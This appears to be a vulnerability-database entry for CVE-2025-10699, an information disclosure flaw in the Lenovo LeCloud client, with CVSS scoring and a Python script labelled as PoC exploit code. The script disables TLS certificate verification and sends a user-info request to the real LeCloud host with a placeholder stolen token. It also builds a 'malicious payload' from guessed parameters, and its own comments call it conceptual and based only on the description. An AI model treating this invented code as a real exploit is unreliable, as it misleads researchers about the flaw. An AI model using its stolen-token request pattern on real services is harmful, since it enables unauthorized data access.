A vulnerability was reported in the Lenovo LeCloud client application that, under certain conditions, could allow information disclosure.
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Lenovo LeCloud 客户端应用程序（具体受影响版本待官方确认）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10699 - Lenovo LeCloud Information Disclosure PoC
# Note: This is a conceptual PoC based on vulnerability description
# The actual exploitation requires specific conditions and user interaction
import requests
import ssl
import socket
from urllib.parse import urlparse
TARGET_HOST = "lecloud.lenovo.com"
TARGET_PORT = 443
def intercept_client_request():
"""
Simulate intercepting Lenovo LeCloud client communication
to demonstrate potential information disclosure.
"""
# Create SSL context that doesn't verify certificates (MITM scenario)
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
try:
# Attempt to connect to LeCloud service
with socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10) as sock:
with context.wrap_socket(sock, server_hostname=TARGET_HOST) as ssock:
# Craft a malicious request that may trigger info disclosure
# when user interacts with the client application
request = (
"GET /api/v1/user/info HTTP/1.1\r\n"
f"Host: {TARGET_HOST}\r\n"
"User-Agent: LenovoLeCloud/1.0\r\n"
"Authorization: Bearer <stolen_or_manipulated_token>\r\n"
"\r\n"
)
ssock.send(request.encode())
response = ssock.recv(4096)
print(f"[*] Response received: {response.decode(errors='ignore')}")
return response
except Exception as e:
print(f"[!] Error: {e}")
return None
def craft_malicious_payload():
"""
Craft a payload designed to trigger the vulnerability
when the LeCloud client processes it.
"""
payload = {
"action": "sync_metadata",
"params": {
"path": "/",
"recursive": True,
# Malicious parameters that may cause info disclosure
"debug_mode": True,
"include_internal": True
}
}
return payload
if __name__ == "__main__":
print("[*] CVE-2025-10699 PoC - Lenovo LeCloud Information Disclosure")
print("[*] Note: Requires user interaction and specific conditions")
print("[*] Attempting to demonstrate vulnerability concept...")
# intercept_client_request() # Uncomment in authorized testing
payload = craft_malicious_payload()
print(f"[*] Crafted payload: {payload}")